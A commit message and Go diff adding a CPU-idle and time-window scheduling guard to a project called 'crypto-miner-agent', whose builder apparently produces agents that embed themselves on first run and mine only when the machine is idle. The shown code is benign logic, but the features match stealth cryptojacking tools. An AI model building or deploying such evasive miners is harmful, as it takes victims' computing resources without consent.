Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.

agent/miner/schedule.go

@@ -0,0 +1,71 @@
+package miner
+
+import (
+	"sync"
+	"time"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/stats"
+)
+
+type ScheduleGuard struct {
+	cfg      config.RuntimeConfig
+	reporter *stats.Reporter
+
+	mu        sync.Mutex
+	idleSince time.Time
+	idleReady bool
+}
+
+func NewScheduleGuard(cfg config.RuntimeConfig, reporter *stats.Reporter) *ScheduleGuard {
+	return &ScheduleGuard{
+		cfg:      cfg,
+		reporter: reporter,
+	}
+}
+
+func (g *ScheduleGuard) Allowed() bool {
+	switch g.cfg.MiningModeNormalized() {
+	case "idle":
+		return g.idleAllowed()
+	case "scheduled":
+		return g.cfg.InScheduleWindow(time.Now())
+	default:
+		return true
+	}
+}
+
+func (g *ScheduleGuard) idleAllowed() bool {
+	cpu := g.reporter.SystemCPUPercent()
+	threshold := float64(g.cfg.IdleThresholdPct)
+	if threshold <= 0 {
+		threshold = 20
+	}
+	duration := time.Duration(g.cfg.IdleDurationMinutes) * time.Minute
+	if duration <= 0 {
+		duration = 5 * time.Minute
+	}
+
+	g.mu.Lock()
+	defer g.mu.Unlock()
+
+	if cpu == 0 {
+		// First sample has no delta yet; treat as not idle.
+		g.idleSince = time.Time{}
+		g.idleReady = false
+		return false
+	}
+
+	if cpu <= threshold {
+		if g.idleSince.IsZero() {
+			g.idleSince = time.Now()
+		}
+		if time.Since(g.idleSince) >= duration {
+			g.idleReady = true
+		}
+	} else {
+		g.idleSince = time.Time{}
+		g.idleReady = false
+	}
+	return g.idleReady
+}